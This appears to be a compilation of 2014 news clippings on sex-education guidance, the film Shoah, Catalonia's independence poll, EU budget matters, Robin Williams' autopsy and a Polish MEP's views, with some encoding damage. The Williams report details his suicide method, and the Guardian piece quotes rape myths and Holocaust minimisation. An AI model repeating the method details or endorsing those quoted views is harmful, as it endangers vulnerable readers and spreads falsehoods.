Green behaviours for 13- to 17-year-olds include ''having sexual or non-sexual relationships'', "sexual activity including hugging, kissing, holding hands", ''interest in erotica/pornography'', ''use of internet/e-media to chat online'' and ''consenting oral and/or penetrative sex with others of the same or opposite gender who are of similar age and developmental ability''. It also emphasises that ''choosing not to be sexually active'' is a normal part of growing up.
Giving evidence to the select committee, Joe Hayman, chief executive of the PSHE Association, said no teacher actively believed children aged 13 should be sexually active, but he added: ''We've got to deal with children's realities."
He said: ''It's really, really important that a dictatorial, from-the-front lesson on what one should and shouldn't do is less likely to have an impact and I think we've got to start from where children are; their reality.
"There's no one in our community who feels we should be trying to sexualise children, or any of those kinds of things.
"What we want is children to develop healthy and safe relationships and it's really important that teachers are provided with the necessary training in order to do that."
Mr Hayman insisted that all resources that the PSHE Association produced were clear that teaching about sex education should be within the law.
But he said the association could not be accountable for every piece of information linked to its supplementary guidance and agreed to write to the committee about the issue.
Speaking after the hearing, Norman Wells, director of the Family Education Trust, attacked the guide, claiming it encouraged teachers to give ''positive feedback to young teenagers who are sexually active''.
He urged the DfE to distance itself from the publication, adding: "The whole reason for having an age of consent is to protect young people from abuse, exploitation and other damaging consequences of early sexual activity. For quite some time, young people have been robbed of that protection by policies that condone underage sex and turn a blind eye to it.
"Recent safeguarding reports in Rochdale, Rotherham and Torbay have shown that the statutory authorities have all too often failed to protect vulnerable young people from sexual exploitation because they have regarded underage sex as a 'lifestyle choice' and a normal part of growing up.
"The supplementary advice is not a safe and reliable guide for schools to follow.''
The DfE said: "Good quality, relationship education is an important part of preparing young people for life in modern Britain and our statutory guidance makes clear that it must be taught in an age appropriate way.
"Schools should ensure young people develop positive values and a moral framework that that will guide their decisions, judgments and behaviour.
"This guidance by Brook is not intended for use in planning sex and relationship lessons."
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Shoah (film) - Wikipedia, the free encyclopedia
Sun, 09 Nov 2014 02:09
Shoahfilm poster
Directed byClaude LanzmannStarringSimon SrebnikMordecha¯ PodchlebnikMotke ZaidlHanna ZaidlJan PiwonskiRichard GlazarRudolf VrbaCinematographyDominique ChapuisJimmy GlasbergWilliam LubtchanskyEdited byZiva PostecAnna RuizDistributed byNew Yorker FilmsRelease dates23 October 1985 (1985-10-23)Running timeFrance 613 minutes (10 hours 13 minutes)US 503 minutesUK 566 minutesSweden 544 minutesLanguageFrenchGermanHebrewPolishYiddishEnglishShoah is a 1985 French documentary film directed by Claude Lanzmann about the Holocaust. The film primarily consists of his interviews and visits to Holocaust sites across Poland, including three extermination camps. It presents testimonies by selected survivors, witnesses, and German perpetrators, often secretly recorded using hidden cameras. Critic Roger Ebert described it as "one of the noblest films ever made".[1]
As Claude Lanzmann does not speak Polish, Hebrew or Yiddish, he depended on translators to work with most of his interviewees. This process enlarged the scale of the documentary, which is nine hours and twenty-three minutes long.[2] While winning notable awards, the film also aroused controversy and criticism, particularly in Poland, but also in the US. A number of historians criticized it for failing to show and discuss the many Poles who rescued Jews, or to recognize the millions of Poles who were killed by the Germans in an extermination campaign.
Synopsis[edit]The film is concerned chiefly with four topics: Chełmno, where mobile gas vans were first used to exterminate Jews; the death camps of Treblinka and Auschwitz-Birkenau; and the Warsaw Ghetto, with testimonies from survivors, witnesses, and perpetrators.
The sections on Treblinka include testimony from Abraham Bomba, who survived as a barber;[3]Richard Glazar, an inmate; and Franz Suchomel, an SS officer who worked at the camp, who reveals intricate details of the camp's gas chamber. Bomba breaks down while describing how a barber friend of his came across his wife while cutting hair outside the gas chamber. Suchomel states he did not know about extermination at Treblinka until he arrived there. This section includes Henryk Gawkowski, who said he drove one of the transport trains while intoxicated with vodka. Gawkowski's photograph appears on the poster used for the film's marketing campaign.
Testimonies on Auschwitz are provided by Rudolf Vrba, who escaped from the camp before the end of the war; and Filip M¼ller, who worked in an incinerator burning the bodies from the gassings. M¼ller recounts what prisoners said to him, and describes the experience of personally going into the gas chamber. He breaks down as he recalls the prisoners starting to sing while being forced into the gas chamber. Accounts include some from local villagers, who witnessed trains heading daily to the camp and returning empty; they quickly guessed the fate of those on board.
Lanzmann also interviews bystanders. He asks whether they knew what was going on in the death camps. Their answers reveal that they did but they justified their inaction by the fear of death. Two survivors of Chełmno are interviewed: Simon Srebnik, who was forced to sing military songs to entertain the Nazis; and Mordecha¯ Podchlebnik. Lanzmann also has a secretly filmed interview with Franz Schalling, a German security guard, who describes the workings of Chełmno. Walter Stier, a former Nazi bureaucrat, describes the workings of the railways. Stier insists he was too busy managing railroad traffic to notice his trains were transporting Jews to their deaths.
The Warsaw ghetto is described by Jan Karski, who worked for the Polish government-in-exile and Franz Grassler, a Nazi administrator who liaised with Jewish leaders. A Christian, Karski, snuck into the Warsaw ghetto and escaped to England to try to convince the Allied governments to intervene more strongly on behalf of the Jews, but failed to do so. Memories from Jewish survivors of the Warsaw Ghetto uprising conclude the documentary.
Lanzmann also interviews Holocaust historian Raul Hilberg, who discusses the historical significance of Nazi propaganda against the European Jews, and the Nazi development of the Final Solution. The complete text of the film was published in 1985.
Production[edit]Lanzmann was commissioned by the Israeli officials to make what they thought would be a two-hour film, delivered in 18 months, about the Holocaust from "the viewpoint of the Jews".[4][5] Although none of his family were killed in the Holocaust, Lanzmann became obsessed by the project.[4] Over 350 hours of raw footage were recorded, including the verbatim questions, answers and interpreters translations. Shoah took eleven years to make.[6] It was plagued with financial problems, difficulties in tracking down interviewees and threats to Lanzmann's life. The film was unusual in that it did not include any historical footage, relying instead on interviewing witnesses and visiting the crime scenes.[7] Four feature length films have since been released from the outtakes.
Some German interviewees were reluctant to talk, and refused to be filmed so Lanzmann resorted to using a hidden camera. Some of the most controversial interviews were obtained in this way, conspicuous by their grainy, black and white appearance.[7] During one interview, the covert recording was discovered and Lanzmann was physically attacked. He was hospitalized for a month and charged by the authorities with "unauthorized use of the German airwaves".[5]
Lanzmann arranged many of the scenes, but not the testimony, before filming witnesses. For example, Bomba was interviewed while pretending to cut the hair of a friend in a working barbershop; a steam locomotive was hired to recreate the journey the conductor had taken while transporting Jews; the opening scene shows Srebnik singing in a rowboat, similar to how he had "serenaded his captors".[5]
The first six years of production were devoted to the recording of interviews with the individuals who appear in the film; these were conducted in 14 different countries.[6] Lanzmann worked on the interviews for four years before first visiting Poland. After the shooting had been completed, editing for the film continued for five years, as it was cut from 350 hours of raw footage to the 91'2 hours of the final version.[6] Lanzmann frequently replaced the camera shot of the interviewee with modern footage from the site of the relevant death camp. The matching of testimony to places became a "crucial trope of the film".[5]
The film was made without subtitles or voice-overs. The questions and answers were kept on the soundtrack, along with the voices of the interpreters.[5] Transcripts of the interviews, in original languages and English translations, are held by the US Holocaust Memorial Museum in Washington, DC. Videos of excerpts from the interviews are available for viewing online, and linked transcripts are available for reading and download from the museum website.[8]
Reception and awards[edit]Hailed as a masterpiece by many critics, Shoah was described in the New York Times as "an epic film about the greatest evil of modern times."[7] In 1985, the year the movie was released, Roger Ebert described it as "an extraordinary film. It is not a documentary, not journalism, not propaganda, not political. It is an act of witness."[9]Gene Siskel named it as his choice for the best movie of the year, later naming it the second best film of the 1980s. Ebert declined to rank Shoah, saying that it belonged in a class to itself and no film should be ranked against it.[10]
In 1985 Shoah won Best Documentary and Special Award at the New York Film Critics Circle and Los Angeles Film Critics Association, respectively.[11] The following year, Shoah won Best Documentary at the National Society of Film Critics Awards and International Documentary Association. Shoah has also been nominated and awarded various other awards at film festivals around the world.[12]
In a 2014 Sight and Sound poll, film critics voted Shoah the second best documentary film of all time.[13]
Criticism[edit]The documentary by Lanzmann was the subject of considerable controversy almost from the day of its theatrical release. Pauline Kael, the most influential American film critic of her day,[14] described Shoah in The New Yorker as "logy and exhausting right from the start..."[2] "[S]itting in a theatre seat '' wrote Kael '' for a film as full of dead spaces as this one seem[ed] to [her] a form of self-punishment". Lanzmann did all the questioning himself, while putting pressure on people in a discursive manner, which gave the film a deadening weight, she said.[2] Relevant to the subject-matter of her inquiry, Kael's parents were American Jewish immigrants from Poland.[14]
Reception in Poland[edit]In spring of 1985 Lanzmann told the French Lib(C)ration that his documentary is an indictment of Poland's complicity in the Holocaust.[15] The Socio-Cultural Association of Jews in Poland (Towarzystwo Społeczno-Kulturalne Å>>yd"w w Polsce) called it a political provocation, and delivered a protest letter to the French embassy in Warsaw.[15] A columnist for The New Yorker wrote that the "Polish government asked France" to ban the film after its premi¨re in 1985.[5]
The film provoked strong criticism against Lanzmann's vision of "dark, drab, poor, and anti-Semitic Poland."[16] The official government-run newspapers and state television criticized it, as did the writers of the unofficial Second Circulation of the Polish anti-communist press. Almost no one defended the film. Most intellectuals referred to it as tendentious, and inherently anti-Polish.[16]Foreign MinisterWładysław Bartoszewski, an Auschwitz survivor and an honorary citizen of Israel, criticized Lanzmann for choosing to ignore the many thousands of Polish rescuers of Jews. He said the director instead focused his camera on impoverished rural Poles in rags, selected to conform with his preconceived notions. Gustaw Herling-GrudziÅski, an eminent Polish-Jewish writer and dissident, was puzzled by Lanzmann's deliberate omission of anybody in Poland with advanced knowledge of the Holocaust.[17]
In his book Dziennik pisany nocą, Herling-GrudziÅski wrote that the thematic construction of Shoah, allowed Lanzmann to exercise a reduction method so extreme that the plight of the non-Jewish Poles must remain a mystery to the viewer. GrudziÅski asked a rhetorical question in his book: "Did the Poles live in peace, quietly plowing farmers' fields with their backs turned on the long fuming chimneys of death-camp crematoria? Or, were they exterminated along with the Jews as subhuman?" According to GrudziÅski, Lanzmann leaves this question unanswered, but the historical evidence shows that Poles also suffered widespread massacres at the hands of the Nazis.[17]
Professor Robert D. Cherry and Annamaria Orla-Bukowska wrote in Rethinking Poles and Jews
Lanzmann's purpose in making the film is revealed by his comments that he "fears" Poland and that the death camps could not possibly have been constructed in France because the "French peasantry would not have tolerated them." He has admitted he intended to indict the Poles in Shoah and has made no films about the Holocaust in France where, presumably, anti-Jewish sentiments are not to be found. The observation of Eva Hoffman, a Polish Jew, that antisemitism was neither fundamental to Polish culture nor "exceptional" in its virulence is utterly lost on Lanzmann. Not surprisingly, many Poles bitterly condemned the film as tendentious and manipulative, including Jan Karski and Jerzy Turowicz.
Outtakes[edit]Lanzmann has released four feature-length films based on unused material shot for Shoah. The first three are included as bonus features in the recent Criterion Collection DVD and Blu-ray release of the film.
See also[edit]^http://www.rogerebert.com/reviews/great-movie-shoah-1985^ abcPauline Kael (30 December 1985). "Claude Lanzmann's Shoah (1)" (Archived by WebCite). The Current Cinema, ''Sacred Monsters''. The New Yorker. pp. 1 of 3. Retrieved 2013-05-10. "See also: archived page 2 and page 3 of 1985 article by Kael." ^William Baker (2005-09). "Abraham Bomba: Witness and Technique". Claude Lanzmann Shoah Collection. University of California, Davis campus. Retrieved 6 September 2014. ^ abLarry Rohter (6 December 2010). "Maker of 'Shoah' Stresses Its Lasting Value". The New York Times. Retrieved 9 September 2013. ^ abcdefgRichard Brody (19 March 2012). "Witness; Claude Lanzmann and the making of Shoah". The New Yorker. Retrieved 15 September 2013. ^ abcAustin, Guy (1996). Contemporary French Cinema: An Introduction. New York: Manchester University Press. p. 24. ISBN 0-7190-4610-6. ^ abcBernstein, Richard (20 October 1985). "An Epic Film About The Greatest Evil Of Modern Times". The New York Times. ^Claude Lanzmann Shoah Collection, Steven Spielberg Film and Video Archive, US Holocaust Memorial Museum, accessed 22 May 2013^"Shoah". Chicago Sun-Times. ^Siskel and Ebert, Best of the year TV show (Ebert excluded). Retrieved 23 May 2013.^"Shoah (1985)". The New York Times. ^IMDb Community: Shoah (1985); Awards.^"Silent film tops documentary poll". BBC News. Retrieved 1 August 2014. ^ abLawrence van Gelder (4 September 2001). "Pauline Kael, Provocative and Widely Imitated New Yorker Film Critic, Dies at 82". The New York Times. p. 2 of 3. Retrieved 25 September 2013. ^ abSzczÄsna, Joanna (2010-03-24). "25 lat spor"w o 'Shoah'" (in Polish). Warsaw: Gazeta Wyborcza. Archived from the original on 18 Sep 2013. Retrieved 17 September 2013. "Translation: Szymon Szurmiej, spokesman for TSKÅ>>wP informed the French embassy that the Jewish community in Poland is saddened by such cinematic provocation and an anti-Polish campaign. Polish original: Szymon Szurmiej jako przedstawiciel Towarzystwa Społeczno-Kulturalnego Å>>yd"w w Polsce złożył w ambasadzie francuskiej oświadczenie, że "społeczność żydowska jest zbulwersowana tą filmową prowokacją i antypolską kampanią"." ^ abMichael Meng. "Rethinking Polish-Jewish Relations..." (PDF file, direct download 145 KB). Department of History. University of Minnesota, Twin Cities. pp. 1''10. Retrieved 2013-05-10. ^ abJoanna SzczÄsna (2010-03-24). "25 lat spor"w o "Shoah" (Twenty five years of the film Shoah controversy)" (archived from GW Teksty) (in Polish). Gazeta Wyborcza. Archiwum. Retrieved 2013-05-11. ^Robert D. Cherry, Anna Maria Orla-Bukowska (2007). "Poland and the Poles in the Cinematic Portrayal of the Holocaust". Rethinking Poles and Jews: troubled past, brighter future. Rowman & Littlefield. p. 36. ISBN 0742546668. Retrieved 2013-05-11. ^Rob Nelson (25 May 2013). "Cannes Film Review: 'The Last of the Unjust'". Chicago Tribune. Retrieved 15 September 2013. References[edit]Felman, Shoshana (1994). "Film as Witness: Claude Lanzmann's Shoah". In Hartman, Geoffrey. Holocaust Remembrance: The Shapes of Memory. Oxford: Blackwell. ISBN 1-55786-125-0. Hirsch, Marianne; Spitzer, Leo (1993). "Gendered Translations: Claude Lanzmann's Shoah". In Cooke, Miriam; Woollacott, Angela. Gendering War Talk. Princeton: Princeton University Press. ISBN 0-691-06980-8. Lanzman, Claude (1985). Shoah. New Yorker Films. Loshitzky, Yosefa (1997). "Holocaust Others: Spielberg's Schindler's List versus Lanzman's Shoah". In Loshitzky, Yosefa. Spielberg's Holocaust: Critical Perspectives on Schindler's List. Bloomington: Indiana University Press. ISBN 0-253-33232-X. External links[edit]
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EuroLand
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AP News : Spain's PM calls for dialogue with Catalan leaders
Sat, 08 Nov 2014 21:32
By HAROLD HECKLEPublished: TodayMADRID (AP) - Spain's prime minister on Saturday called on Catalan leaders to return to dialogue, a day before the region was due to hold an informal independence poll.
Mariano Rajoy said he expects "sanity" to return to northeastern Catalonia after the unofficial vote Sunday that is supposed to measure public support for secession from Spain. The consultation has been ruled unconstitutional by Spain's judiciary.
Rajoy called on Catalonia's leaders to begin talks "within the legal framework of the constitution." The prime minister said that because of its illegal status, the poll would be "neither a referendum nor a consultation nor anything of the sort, and it won't have any effect at all."
Meanwhile, an organization called Libres e Iguales (Free and Equal) that opposes the poll held protests in 55 Spanish cities, as well as in Paris, Brussels and Luxembourg, according to Popular Party lawmaker Cayetana Alvarez de Toledo.
The group includes politicians, aristocrat Carlos Falco, and intellectuals such as author Mario Vargas Llosa - who holds dual Peruvian and Spanish citizenship.
Several hundred people in Madrid listened to Vargas Llosa and others, who said they do not lend "any legitimacy to attempts to break up our country."
Vargas Llosa, who won the Nobel Prize in literature in 2010, also described the poll as disrespectful of "the rule of law or the true will of the people."
A protest in the Catalan city of Girona proceeded peacefully, Alvarez de Toledo said. However, one in Barcelona saw minor scuffles between pro- and anti-consultation supporters that the police broke up without making arrests.
Catalonia, with some 7.5 million inhabitants and Barcelona as its capital, is one of Spain's wealthiest regions.
A long-rumbling Catalan secessionist sentiment peaked during Spain's economic downturn and amid dissatisfaction at the country's refusal to allow the region greater autonomy and fiscal powers.
The Catalan initiative is Europe's latest secession attempt following Scotland's independence poll in September that resulted in a "No" vote.
Results 2 weeks!
I just heard there won't be a result for another 2 weeks.
Because they can't do an official vote, they want to give people a chance to vote if they could not come down for it. And it takes time to count the votes if you have to rely on unpaid volunteers.
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The Hoff rides again: Wax Hasselhoff travels to Berlin to mark wall fall
Sun, 09 Nov 2014 03:06
What's This?
Wax David Hasselhoff relives one of real David Hasselhoff's finest moments.Image: Anita Bugge/Geisler-Fotopress/Zuma Press
By Sam Laird2014-11-07 01:35:49 UTC
More like David Waxelhoff, am I right?
About 25 years ago, 20th-century renaissance man David Hasselhoff traveled from America to Berlin, donned a light-up leather jacket, scaled the Berlin Wall, performed a triumphant song called "Looking for Freedom" and used his righteous voice and moves to singlehandedly unify East and West Germany.
Actually, disregard that last part. But The Hoff did go to Berlin, don said duds, get on top of said wall and perform said song, as evidenced in the video below. He did all this after the borders had been opened, though, so can claim no credit in, to paraphrase Ronald Reagan, tearing down that wall.
But Hasselhoff's trip is the stuff of legend in Germany, the subject of a real-life musings in New Yorker and, now, the reason a wax statue of him is stationed just outside the Brandenburg Gate to mark the 25-year anniversary of the fall of the wall in 1989.
So from whence did this Waxelhoff land in Berlin? Madame Tassauds wax museum in Vienna, Austria, about 400 miles south of the wall. Waxelhoff arrived at the Brandenburg Gate this week and will reportedly stick around for another three months.
Sadly no one was able to take any #FreedomSelfies with The Hoff back on the night of his epic performance because it was 1989 and selfies didn't exist and we lived such basic existences back then.
Luckily, at least one woman was able to remedy that tragedy by taking a selfie with Waxelhoff this week.
A woman identified only as Teresa takes a selfie with wax David Hasselhoff in front of the Brandenburg Gate on Nov. 5, 2014.
Because let's be honest, who can resist such a handsome visage?
Just look into those eyes. You could get lost in those eyes.
But even David Waxelhoff has to tend to his grooming.
Jonas Mueller from Madame Tussaud's adjusts the wax figure of singer David Hasselhoff.
Image: Jens Kalaene/Zuma Press
As the great Mr. Miyagi once said: Rock on, wax Hoff.
Topics: Pics, Watercooler, World
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Nigel Farage's new friend in Europe: 'When women say no, they don't always mean it' | Politics | The Guardian
Sun, 09 Nov 2014 14:36
'Bizarre views': Janusz Korwin-Mikke, outspoken leader of Poland's Congress of the New Right, at a party rally in Gdansk last month. Photograph: Michal Fludra/NurPhoto/Corbis
Dapper in bow tie and blazer, Nigel Farage's new European ally likes to welcome a woman to his grey-walled, grey-carpeted Brussels office by stooping to kiss her hand. There is a danger, though, that he will follow up this display of old-fashioned courtesy by sharing some old-fashioned views about her inferiority.
Janusz Korwin-Mikke is the eccentric head of Poland's Congress of the New Right. With his agreement, a member of the party, Robert Iwaszkiewicz, has just joined Ukip's parliamentary alliance, Europe of Freedom and Direct Democracy (EFDD), pushing it over a threshold of 25 parliamentarians from seven countries and thus securing more than £1m in funding for Ukip alone.
A friend in need is a friend indeed. But Korwin-Mikke has the potential to be an embarrassing ally. For instance, he thinks women's opinions are shaped by the sperm of the men they sleep with, that they are ''on average'' less clever than men, and that nearly half of women who tell a man they don't want to have sex with them are feigning reluctance and should be ignored.
''Semen probably is not wasted, because nature usually makes use of the material it has, and there is a hypothesis that the attitudes of men are passed to women by way of the semen which penetrates the tissue,'' he told the Observer, in the tone a science teacher might use for a basic lesson.
Giggles only prompt an admonition. ''It is not a political statement. There is a very strong argument for this hypothesis, that now when contraceptives are much more in use, the women become much more independent.''
Korwin-Mikke, 72, is an extreme libertarian. A veteran with half a century's political experience, he throws out his bizarre views in rapid-fire sentences, broken by the easy smile of a man used to deference, which only makes them seem more disturbing. There is no proof Hitler knew about the Holocaust, he has argued for years, and he told the Observer that Mussolini, who stripped Jewish citizens of property and civil rights, then sent thousands to German concentration camps, ''was trying to protect Jews''.
He would like to abolish not just the European Union but democracy altogether, replacing it with an absolute monarchy, which he considers the gold standard for government. His main objection to dictatorship is that it leaves open the question of who succeeds a leader.
He hungers for what he says is a lost Europe of dog-eat-dog economic rules, the freedom to buy arsenic over the counter by the kilo, drive without seatbelts and give free rein to the aggression that he says made the continent great. ''If someone gives money to an unemployed person he should have his hand cut off because he is destroying the morale of the people,'' Korwin-Mikke said, adding that the state should not give anyone a cent either. ''Europeans were very aggressive and now the boys are taught not to be aggressive '... Give them the pistol, give them a sword.''
Apparently practising what he preaches, this summer he slapped a leftwing Polish politician in the face. Shortly before the attack, France's far-right Front National, led by Marine Le Pen, decided he was too extreme for an alliance. But now Korwin-Mikke's party has come to the rescue of Ukip's parliamentary alliance.
After a defection by a Latvian parliamentarian jeopardised access to speaking time in parliament and millions of euros in EU cash, Iwaszkiewicz joined the group, ensuring it held on to its funding. An EFDD spokesman said the Pole was invited and joined as an individual, and there was ''no deal with any political party'', but both Iwaszkiewicz and his leader presented the move as a party decision, to the Observer and voters at home. ''That is the only group which is organised and Eurosceptic in the parliament,'' Iwaszkiewicz, a businessman-turned-politician, said in an interview in the corridors of parliament, as his aides scowled at Eurocrats tucking into a free buffet lunch. ''That is why we wanted '' not only me but all four MEPs of the Congress of the New Right '' to help the EFDD to stay alive.''
Korwin-Mikke was gleeful about striking a deal with Ukip, although evasive about specifics, saying only that it might lead to more alliances in future. ''If we create our own group, perhaps Mr Farage can lend us a member of his party also.''
Polish academic and anti-racism campaigner Rafal Pankowski dismissed the distinction between Iwaszkiewicz and his party as a false one. The MEP rode into parliament on the back of Korwin-Mikke's outsize personality, and although he may take a slightly more moderate public stance, has never attempted to distance himself from his leader's views.
''I have never found any indication of any kind of policy difference between them '... on the contrary, he has often defended [Korwin-Mikke's views] in public,'' said Pankowski. ''The bottom line is that he wouldn't have been in the European party without the leader. People voted for the Korwin-Mikke party, hardly anyone knows Robert Iwaszkiewicz.''
Rabbi Shneur Odze, chairman of Ukip Friends of Israel and a party candidate for next year's general election, said Korwin-Mikke was ''not our responsibility'' because he was not in the EFDD group. Iwaskiewicz's only comment on Hitler ''was that he was an evil man who should have been executed. Hardly a Holocaust denier,'' he added.
But although Iwaszkiewicz is more circumspect, he has not rushed to repudiate his leader or clarify his own position. ''I think many expressions of [Korwin-Mikke] are taken out of context and put in a bad light,'' he said. Asked if he believed Hitler knew about the Holocaust, he would only say: ''That is how I imagine it.''
The Congress of the New Right's hardline economic views actually make it an uneasy bedfellow for Ukip on immigration issues. Korwin-Mikke wants all borders opened and the welfare state shut down, while Farage wants borders largely shut so at least parts of the welfare state can better serve those inside them.
The two parties share a more important goal though, both Polish politicians say. ''He wants to destroy the European Union, and even Lucifer or Beelzebub who is against the European Union is our ally, because it is the greatest danger to Europe,'' said Korwin-Mikke, who wants to convert part of the EU headquarters into a giant brothel.
''The building of the European commission is much better, there are small rooms,'' he said, trailing off to glance around his small, dark office with a new, appraising eye.
Part of his distaste for modern Europe is driven by the position of women, who he says have replaced ''privileges'' with ''equal rights'', a phrase Korwin-Mikke spat out as if it was an insult. Most want to stay at home to raise families, and can't be trusted to vote, said the twice-married father of six. They are also, he claims, ''less tall, less heavy, less intelligent, on the average''. And he adds: ''Women usually vote for the more handsome man.''
Asked how German chancellor Angela Merkel had come to power in a country where women vote, he changed the topic to sports teams coached by men. ''Women want to be led by men,'' he claimed. They particularly like to be led to the bedroom, he added, saying that men should often ignore a partner who said no to sex. ''Women usually pretend that they don't want [sex]. You must be competent enough to differentiate whether she seriously doesn't want,'' he said. ''The percentage of women who pretend that they don't want to have sex, but they do want in fact, is about 30 or 40%.''
Asked how a rape trial could be prosecuted if a woman's words were not accepted as evidence of her intentions, he said men should not be convicted unless there were two witnesses to the crime.
''If you don't have two testimonies, he must be acquitted,'' he said. ''Or some proof or some visible sign of rape, but if it is only her words and his words, there cannot even be a trial.''
Funny peculiar: Ukip and comedy
Frankie Boyle: Ukip is fair game for comedians '' and why shouldn't it be?
Stewart Lee: The Imaginary Comedy Cabal will crush the Ukips into dust
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EU's bank to loan Britain's power grid $2.4 billion
Sun, 09 Nov 2014 15:11
EU's bank to loan Britain's power grid $2.4 billionTop News
EU's bank to loan Britain's power grid $2.4 billion
Fri, Nov 07 07:19 AM EST
* UK power networks, infrastructure need massive investment
* Loan for improving grid, connecting new power generation
LONDON, Nov 7 (Reuters) - The European Union's bank will loan Britain's National Grid, 1.5 billion pounds ($2.4 billion), its biggest ever single loan, the bank said on Friday.
The European Investment Bank (EIB) loan will go towards upgrading Britain's ageing power grid, improving networks and connecting new power generation.
"This represents the largest ever single loan made by Europe's long-term lending institution," the EIB said in a statement.
No details were provided about re-payment conditions for the loan.
The long-term loan will include capital investment by National Grid to improve infrastructure between the Wirral, northwest England, and Scotland and the London Power Tunnels, the EIB said.
The loan will also go towards improvements to protect critical infrastructure from floods and provide substation capacity needed for new connections to offshore wind farms and new electricity interconnectors to continental Europe.
"Investment in the UK electricity transmission network is essential to prepare for future demand, connect new sources of renewable energy and upgrade old facilities," said Jonathan Taylor, EIB's vice president.
Britain has estimated it needs around 110 billion pounds of investment to replace ageing fossil fuel and nuclear power stations and prevent power shortages into the 2020s. (1 US dollar = 0.6316 British pound) (Reporting by Nina Chestney, editing by William Hardy)
EU's bank to loan Britain's power grid $2.4 billionTop News
EU's bank to loan Britain's power grid $2.4 billion
Fri, Nov 07 07:19 AM EST
* UK power networks, infrastructure need massive investment
* Loan for improving grid, connecting new power generation
LONDON, Nov 7 (Reuters) - The European Union's bank will loan Britain's National Grid, 1.5 billion pounds ($2.4 billion), its biggest ever single loan, the bank said on Friday.
The European Investment Bank (EIB) loan will go towards upgrading Britain's ageing power grid, improving networks and connecting new power generation.
"This represents the largest ever single loan made by Europe's long-term lending institution," the EIB said in a statement.
No details were provided about re-payment conditions for the loan.
The long-term loan will include capital investment by National Grid to improve infrastructure between the Wirral, northwest England, and Scotland and the London Power Tunnels, the EIB said.
The loan will also go towards improvements to protect critical infrastructure from floods and provide substation capacity needed for new connections to offshore wind farms and new electricity interconnectors to continental Europe.
"Investment in the UK electricity transmission network is essential to prepare for future demand, connect new sources of renewable energy and upgrade old facilities," said Jonathan Taylor, EIB's vice president.
Britain has estimated it needs around 110 billion pounds of investment to replace ageing fossil fuel and nuclear power stations and prevent power shortages into the 2020s. (1 US dollar = 0.6316 British pound) (Reporting by Nina Chestney, editing by William Hardy)
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9 countries get deadline extension by Sept 2015 for extrabpayments to EU budget, 8 November 2014
Sun, 09 Nov 2014 15:09
The nine EU countries which were supposed to make extra contributions to the EU budget by December 1, 2014, were granted a postponement by September 1, 2015 on Friday.Friday's decision of the finance and economy ministers of the 28 EU Member States stipulated an opportunity for making the payments in installments.
Bulgaria's additional contribution to the EU budget amounts to EUR 7 M, according to reports of the Bulgarian National Radio.
Speaking after a meeting of the Economic and Financial Affairs Council, EU Budget Commissioner Kristalina Georgieva informed that the UK would have to make an extra payment of around EUR 1 B.
The European Commission initially demanded that UK pay an additional EU budget bill of EUR 2.1 B by December 1, 2014 but the country managed to negotiate an extension of the deadline by September 2015.
British Finance Minister George Osborne confirmed that the country's EU budget bill had been halved, adding that the UK would pay it in two installments in the second half of 2015.
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22TH
Robin Williams toxicology results released
Sat, 08 Nov 2014 20:41
Associated Press10:15 a.m. EST November 8, 2014
Actor Robin Williams on Nov. 5, 2011.(Photo: Associated Press)
SAN FRANCISCO -- Robin Williams' autopsy found no alcohol or illegal drugs were in his body when he killed himself at his Northern California home in August, sheriff's officials said Friday.
The results released by the Marin County sheriff's office found that the actor had taken prescription medications, but in "therapeutic concentrations."
The coroner ruled Williams' death a suicide that resulted from asphyxia due to hanging.
FREEP
Robin Williams spoke fondly of growing up in metro Detroit
Sheriff's officials have said Williams was found in the bedroom of his home in Tiburon on the morning of Aug. 11. His death had been preliminarily ruled a suicide, with sheriff's officials saying he hanged himself with a belt.
Williams' wife, Susan Schneider, has said the actor and comedian was struggling with depression, anxiety and a recent Parkinson's diagnosis when his personal assistant found him dead.
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Furor over graphic details of Robin Williams' death
Williams had publicly acknowledged periodic struggles with substance abuse, and he had entered a substance abuse program shortly before his death. According to the coroner's report, his wife told an investigator Williams did not go there because of recent drug or alcohol abuse, but rather to reaffirm the principles of his rehabilitation.
FREEP
Suicide a risk even for beloved characters like Robin Williams
According to his wife, Williams was having trouble sleeping and had shown increased signs of paranoia before he committed suicide, the autopsy report said. Medical records confirmed he was diagnosed with Parkinson's disease in November 2013 but had symptoms since 2011, including a left arm tremor and the slowing of left hand movements. Treatments with drugs in May 2014 led to some improvement, according to the report, and he remained physically active until his death.
Williams had two types of antidepressants in his system when he died, as well as a Parkinson's medication, caffeine and another ingredient found in tea and cocoa, the autopsy found.
Authorities have said Williams was last seen alive by his wife when she went to bed the night of Aug. 10. She woke up the next morning and left, thinking he was still asleep elsewhere in the house.
Shortly after that, Williams' assistant came to the home and became concerned when he failed to respond to knocks at a door. The assistant found the 63-year-old actor in a bedroom, according to sheriff's officials.
Williams also had superficial cuts on his wrist, and a pocketknife was found nearby.
The results of Williams' autopsy, including the toxicology tests, were originally slated to be released Sept. 20. Marin County officials later announced a Nov. 3 release date, but the report was further delayed. Toxicology reports routinely take up to six weeks to complete.
Read or Share this story: http://on.freep.com/1qvlYWA
My Banker friend on suicides
Eugenics
Email about Suicide Scam
Wow!
It is so refreshing to hear two people who don't work in the healthcare industry understand it so well. Your analysis of Kaiser and other healthcare providers was spot on. If you don't mind reading on I'll tell you the core problem that turns all of these "social workers" or DC planners, or case managers (all the same people) into car salesman who push you down the line.
Medicare is the best example, but it applies to kaiser as well. Medicare is the king of turning their problems into other people's problems. It is actually sort of impressive. They tell patients that X Y and Z are covered. Giving medicare recipients the impression that Medicare is a generous and caring organization. They then tell the providers (people who bill medicare for services rendered to patients) that only X and Y are covered.
Do you see the genius in this?! For example. At my company Medicare stops paying us after the 20th Combined Therapy visit (PT, OT, Speech). However, if the patient looks up what is covered through Medicare, it says that Medicare will basically provide therapy until they're safe enough to leave though home, which could take months, or years.
In reality, we stopped getting paid after about week 3-4. So Medicare puts the providers in the position of looking like the greedy people denying care, when in reality Medicare stopped covering the care weeks ago.
Why not just tell the patient that Medicare stopped paying for care you ask? Enjoy your audit 2 days after the patient calls Medicare to complain.
Kaiser works the same way, except that they are even more incentivized not to provide care, since they are the payor and the provider. They must comply with requirements however, so they put in the paperwork that they will provide up to 60 days in the hospital as John mentioned, but from day one they send out the "Social workers" to start pushing the patient down the chain and out of the hospital (most expensive place to provide care) as soon as possible. If there is any type of litigation, they can easily say "well we provided paperwork to the family that said they can receive care for 60 days and they chose not to use this benefit".
Genius!
Keep up the good work. We're moving out of our current slave quarter apartment in the OC (700 sq. feet for 2300 dollars a month) and into a house for half the price about thirty minutes away, so I'll get the donations up and running again soon.
Take care!
Trevor
LGBBTQQIAAP
